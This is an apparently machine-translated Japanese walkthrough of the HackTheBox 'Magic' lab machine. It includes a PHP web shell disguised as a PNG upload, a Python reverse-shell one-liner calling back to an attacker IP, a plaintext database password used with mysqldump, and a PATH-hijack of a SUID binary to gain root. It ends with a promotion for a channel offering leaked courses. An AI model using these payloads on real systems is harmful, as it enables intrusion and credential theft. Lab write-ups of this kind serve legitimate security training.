HackTheBox。魔法の通過。パスワードスプレー。sysinfo経由のMysqldumpとLPE



私はHackTheBoxサイトからマシンのファイナライズに送信されたソリューションを公開し続けています



この記事では、写真にシェルを投げ、mysqldumpを使用して資格情報を探し、sysinfoを介して特権を昇格させます。



研究所への接続はVPN経由です。情報セキュリティについて何か知っている人とのプライベートネットワークにいることに気付くため、仕事用のコンピュータや重要なデータがあるホストからは接続しないことをお勧めします。



組織情報
, , Telegram . , , .



. , - , .



偵察



このマシンのIPアドレスは10.10.10.185で、これを/ etc / hostsに追加します。



10.10.10.185 	magic.htb


最初のステップは、開いているポートをスキャンすることです。nmapですべてのポートをスキャンするのに長い時間がかかるので、最初にmasscanを使用してスキャンします。tun0インターフェイスからすべてのTCPポートとUDPポートを毎秒500パケットでスキャンします。



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.185       --rate=500






ここで、ポートで実行されるサービスに関する詳細情報を取得するには、-Aオプションを指定してスキャンを実行します。



nmap -A magic.htb -p22,80






ホストには2つのポートが開いています。SSHサービス用に22、Webサーバー用に80です。いつものように、私たちはウェブをサーフィンします。







ログインページへのリンクに注意してください。まず、認証をバイパスする1つの方法を試し、適切な方法を見つけます。







画像をアップロードするためのフォームが表示されます。 phpにコードを入れてみましょう。これを行うには、画像の最初の4バイトを取得し、それらにコードを追加します。この場合、二重拡張を保持します。起動時にサーバーは後者をチェックし、実行時に最初にチェックします。

python -c "print('\x89\x50\x4e\x47' + '<?php echo system($_GET[\'cmd\']); ?>')" > 1.php.png






しかし、私たちは捕らえられています。







コメントでコードをだまして非表示にしてみましょう。







ダウンロードを試みた後、ダウンロードが成功したことが通知されます。







ファイルはアップロードされますが、問題はどこにあります。ディレクトリを見てみましょう。サイトはシンプルで時間があったので、大げさな辞書や巨大な辞書は使いませんでした。dirbを実行します。







ほとんどの場合、ファイルがアップロードされているディレクトリが見つかりました。次に、ファイルを参照して、lsコマンドをパラメーターとして渡します。







そして、それは完了です!



エントリーポイント



リバースシェルをパラメータとして投げましょう。

http://10.10.10.185/images/uploads/me.php.jpg?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.60",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


そして、ポート4321でバックコネクトを取得します。











そして、作業ディレクトリに、データベースを操作するためのファイルがあります。







そして、このファイルにはユーザーのパスワードがあります。







さらに、このユーザーはシステム内にいます。ユーザーを変更しようとしましたが、失敗しました。







ユーザー



これはデータベースパスワードであるため、mysqlに関連付けられています。しかし、mysqlまたはmysqladminのどちらでも機能しませんでした。次に、mysqlに関連するすべてのプログラムを調べることにしました。







運はmysqldumpに微笑んだ。接続してパスワードを見つけます。

mysqldump -u theseus -p iamkingtheseus Magic





これで、ユーザーが正常に変更され、カスタムフラグが取得されました。







ルート



便宜上、ssh-keygenを使用してSSHキーを生成し、パブリックキーを〜/ .ssh / authorized_keysファイルに書き込み、SSH経由で接続したプライベートキーを使用しました。次に、LinPEASをリモートホストにダウンロードして起動します。システム全体の完全なリストの後、出力を分析します。私が夢中になったのは、SUIDが設定されたファイル(rootとして実行するファイル)だけです。







Sysinfoプログラム。情報を探したところ、コマンドの実行については何も見つかりませんでした。それから、sysinfoが信用できない他のプログラムを使用する場合はどうなるかというアイデアが浮かびました。 ltraceでsysinfoを実行しました。







したがって、sysinfoは、lshw、fdisk、およびcatプログラムを実行します。次に、LPEベクトルについて詳しく説明します。オペレーティングシステムには、パスを格納するPATH環境変数があります。







lsまたはcdプログラムを入力すると、システムはPATHで指定されたディレクトリでこれらのファイルを順番に検索します。したがって、PATHの最初の場所に任意のディレクトリを書き込み、その中に別のlsまたはcatプログラムを配置すると、そのディレクトリが呼び出されます。



だから私はfdiskでこれを行います。リバースシェルはスローしませんが、ユーザーだけでなくSSHを介してルートに接続するために、ルートユーザーのSSHキーをコピーするだけです。







たとえば、fdiskを呼び出しましょう。ご覧のとおり、正当なfdiskが呼び出されています。







次に、PATH環境変数にパスを追加しましょう。







システムは、最初に/ tmp / 123でfdiskを検索します。







sysinfoを実行してみましょう。







ルートに.sshディレクトリがないため、出力にエラーが表示されます。最初にディレクトリを作成してからコピーするようにスクリプトを変更してみましょう。sysinfoを実行した後、fdiskエラーは発生しません。ルートとしてSSH経由で接続し、フラグを取得します。Telegramに







参加できます。そこには、興味深い資料、リークされたコース、およびソフトウェアがあります。ITの多くの分野に精通している人々がいるコミュニティを集めましょう。そうすれば、ITと情報のセキュリティの問題についていつでも互いに助け合うことができます。



All Articles